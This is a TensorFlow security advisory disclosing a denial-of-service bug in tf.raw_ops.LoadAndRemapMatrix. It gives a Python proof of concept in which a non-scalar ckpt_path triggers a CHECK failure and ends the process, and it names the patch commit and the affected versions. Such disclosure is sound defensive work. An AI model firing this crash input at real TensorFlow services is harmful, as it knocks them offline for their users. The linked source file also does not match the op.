CHECK-fail in `LoadAndRemapMatrix`
### Impact
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:
```python
import tensorflow as tf
ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.constant(1.0)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,
row_remapping=row_remapping, col_remapping=col_remapping,
initializing_values=initializing_values, num_rows=0, num_cols=1)
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222 assumes that the `ckpt_path` is always a valid scalar.
```cc
const string& ckpt_path = ckpt_path_t->scalar<tstring>()();
```
However, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process.
### Patches
We have patched the issue in GitHub commit 77dd114513d7796e1e2b8aece214a380af26fbf4
https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.